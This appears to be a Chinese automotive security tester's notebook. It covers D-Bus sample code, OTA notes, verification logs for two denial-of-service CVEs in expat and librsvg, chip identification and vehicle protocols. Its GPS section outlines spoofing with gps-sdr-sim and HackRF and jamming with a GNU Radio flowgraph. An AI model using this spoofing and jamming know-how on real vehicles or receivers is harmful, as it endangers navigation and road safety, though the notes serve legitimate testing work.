DBusMessage *reply;
DBusMessageIter args;
char* param = "";

// 读取参数
if (!dbus_message_iter_init(message, &args))
fprintf(stderr, "Message has no arguments!\n");
else if (DBUS_TYPE_STRING != dbus_message_iter_get_arg_type(&args))
fprintf(stderr, "Argument is not string!\n");
else
dbus_message_iter_get_basic(&args, &param);

printf("Called MyMethod with %s\n", param);

// 创建回复消息
reply = dbus_message_new_method_return(message);
if (!reply) {
fprintf(stderr, "Out of Memory!\n");
exit(1);
}

// 发送回复消息
if (!dbus_connection_send(conn, reply, NULL)) {
fprintf(stderr, "Out of Memory!\n");
exit(1);
}
dbus_connection_flush(conn);
dbus_message_unref(reply);
}
return DBUS_HANDLER_RESULT_HANDLED;
}

int main(int argc, char** argv) {
DBusConnection* conn;
DBusError err;
int ret;

// 初始化错误值
dbus_error_init(&err);

// 连接到DBus
conn = dbus_bus_get(DBUS_BUS_SESSION, &err);
if (dbus_error_is_set(&err)) {
fprintf(stderr, "Connection Error (%s)\n", err.message);
dbus_error_free(&err);
}
if (NULL == conn) {
exit(1);
}

// 请求路径名
ret = dbus_bus_request_name(conn, "com.example.MyService", DBUS_NAME_FLAG_REPLACE_EXISTING, &err);
if (dbus_error_is_set(&err)) {
fprintf(stderr, "Name Error (%s)\n", err.message);
dbus_error_free(&err);
}
if (DBUS_REQUEST_NAME_REPLY_PRIMARY_OWNER != ret) {
exit(1);
}

// 监听来自DBus的消息
dbus_connection_add_filter(conn, example_message_handler, NULL, NULL);

// 循环处理消息
while (true) {
dbus_connection_read_write(conn, -1);
dbus_connection_dispatch(conn);
}

return 0;
}

使用如下shell代码向C程序发送信息

1
dbus-send --session           --dest=com.example.MyService           --type=method_call           --print-reply           /com/example/MyService           com.example.MyService.MyMethod           string:"aaaaaaa"

使用如下shell代码向python进程发送信息

1
dbus-send --session           --dest=com.example.MyService           --type=method_call           --print-reply           /com/example/MyService           com.example.MyServiceInterface.ProcessData           string:"Hello, DBus!"

可以用d-feet来查看dbus总线上的东西,另外需要区分session和system总线

会议

刷写:诊断仪刷写

OTA:车机程序调用诊断仪刷写

OTA资质:生产厂家具备

25km/h算作机动车辆

M/N/O各种车型是啥

升级的时候,如果升级之后的系统变更的参数涉及到法规规定的,那么对应的RxSWIN码就会变更。

完整性 测试增删改

CVE漏洞复现

CVE-2022-25313

依据https://github.com/libexpat/libexpat/pull/558,对车机进行测试CVE-2022-25313,导出车机expat库,放入编译环境,设置编译参数

image-20231129112431725

创建test.xml测试poc正常功能

image-20231129112442035

创建poc.xml测试CVE-2022-25313,将poc,test.xml,poc.xml放入车机

image-20231129112454918

运行测试,test.xml正常工作。

image-20231129112500631

Poc.xml无法正常工作

image-20231129112526793

使用gdb调试

image-20231129112532102

此时栈空间已达临界值,即将到达临界值

image-20231129112537792

再运行指令,访问sp-0x80空间,无法访问

image-20231129112541106

触发CWE-400漏洞

image-20231129112544838

CVE-2019-20446

依据https://gitlab.gnome.org/GNOME/librsvg/-/issues/515对CVE-2019-20446进行验证

下载foo.svg,大小为7KB左右,准备类似大小10KB的mySvgTest.svg文件,均传入车机。

image-20231129112620011

使用rsvg-convert进行对mySvgTest.svg进行功能验证,花费不到1秒完成转换。

image-20231129112625580

使用rsvg-convert对foo.svg进行测试,等待五分钟也无法完成

image-20231129112632871

重新运行,将rsvg-convert放入后台,使用top查看消耗资源,持续占用较高CPU资源

image-20231129112644499

经验证,rsvg-convert因为librsvg存在CVE-2019-20446,会触发CWE-400

image-20231129112659839

若车机在处理svg调用到rsvg-convert以及librsvg动态库时,将存在CVE-2019-20446触发CWE-400的风险。

CVE-2019-9948

python2的一个漏洞

CVE - CVE-2019-9948 (mitre.org)

image-20231129113042220

GPS测试

1.GPS静态劫持

主要下载星历文件后使用gps-sdr-sim生成信号文件,然后用hackrf发送

2.GPS动态劫持

需要下载谷歌地球和SatGen Trajectory Generation,生成路径,转换成信号文件发送即可

3.GPS干扰

主要用Gnuradio生成信号干扰流图,参考:车载导航GPS安全研究 | 陶 | 智能城市应用 (viserdata.com)

主要依据如下流程图

image-20231205090227662

生成对应的py文件,但是依据上述流程图生成的py文件会无法运行

image-20231205090833365

会少一个Taps需要补充,添加一下即可

image-20231205090922989

效果如下

image-20231205091849906

4.GPS异地信号仿真

异地录制然后发送信号即可

芯片

大多google或者datasheet

S32K312 BMS采用的芯片:S32K系列MCU学习介绍 (coloradmin.cn)

1、NTGAN256T32AC-J1J 2121996EP 3TW
nanya的LPDDR4低功耗内存

2、sec 307 B04P KLM8G1GEUF-B04P nv90303l
https://semiconductor.samsung.com/estorage/emmc/emmc-5-1/klm8g1geuf-b04p/
https://static6.arrow.com/aropdfconversion/9dd6fa565d4ffe1cc97d44276a9f0a0ddb22fa82/klm8g1geuf-b04p.pdf
三星EMMC存储芯片 8G

3、Ublox M9140-ka c1100A 08454356 2240a3
https://content.u-blox.com/sites/default/files/UBX-M9140_ProductSummary_UBX-19027230.pdf
ublox 的GNSS 定位芯片

4、Dolphin+ TCC8034 OBX-L HSK1ZZ-2 2249
TCC803x (Dolphin+) (ARM Cortex-A53 Quad, Cortex-A7 Quad, Cortex-R5)[6] CPU芯片

5、LP8864SQ1 2BTG4 AG-1Y
https://www.alldatasheet.com/datasheet-pdf/pdf/1286986/TI/LP8864S-Q1.html
具有升压控制器的汽车类高效LED 驱动器

6、LM5127Q TI 298 ABXJ G4
https://www.ti.com.cn/cn/lit/ds/symlink/lm5127-q1.pdf?ts=1699864602436&ref_url=https%253A%252F%252Fwww.google.com.hk%252F

7、ADW 10023Z-0 2232 5889729 PHIL

8、SI47971A0 2128A02A8V e3 TW
https://www.mouser.com/datasheet/2/472/Si47971_72_short-3051514.pdf
配备音频 DSP 子系统的汽车双接收器

9、Winbond 25Q32 JVS AQ 2312
https://www.winbond.com/hq/support/documentation/downloadV2022.jsp?__locale=en&xmlPath=/support/resources/.content/item/DA00-W25Q32JV_1.html&level=1
32Mb的Flash

10、SS3203007 1UR849 1002849000900572

11、TDF8546ATH/N1
https://www.aipcba.cn/datasheet/pdf/tdf8546athn1118-cm146822571-f48101326.html?page=1
https://www.mouser.in/datasheet/2/302/TDF8546_SDS-3139660.pdf
NXP公司的音频功率放大器芯片

SOMEIP

简介:

image-20240108140402653

仪表控制,灯光信号控制,座椅控制等等,座仓域

服务类型:

image-20240108141147530

对应概念:

image-20240108141625148

帧结构:

image-20240108141500101

头部报文组成:

image-20240108141610556

DOIP

image-20240109092453105

依据Logical Address来确定ECU的DoIP实体

诊断

image-20240109092852925

对应请求报文如下

image-20240109092906898

回应:

image-20240109093036111

测试规范:

刷写规范:

image-20240110090155556

image-20240110090138299

BLE蓝牙,secrue connect hosts:False,看这个字段是否为True

随机数符合GM/T 0005-2012

法规标准

零部件

推荐性国标:GB/T

做过GB/T 40857网关的

针对不同

MSB大端信号

image-20240117161036190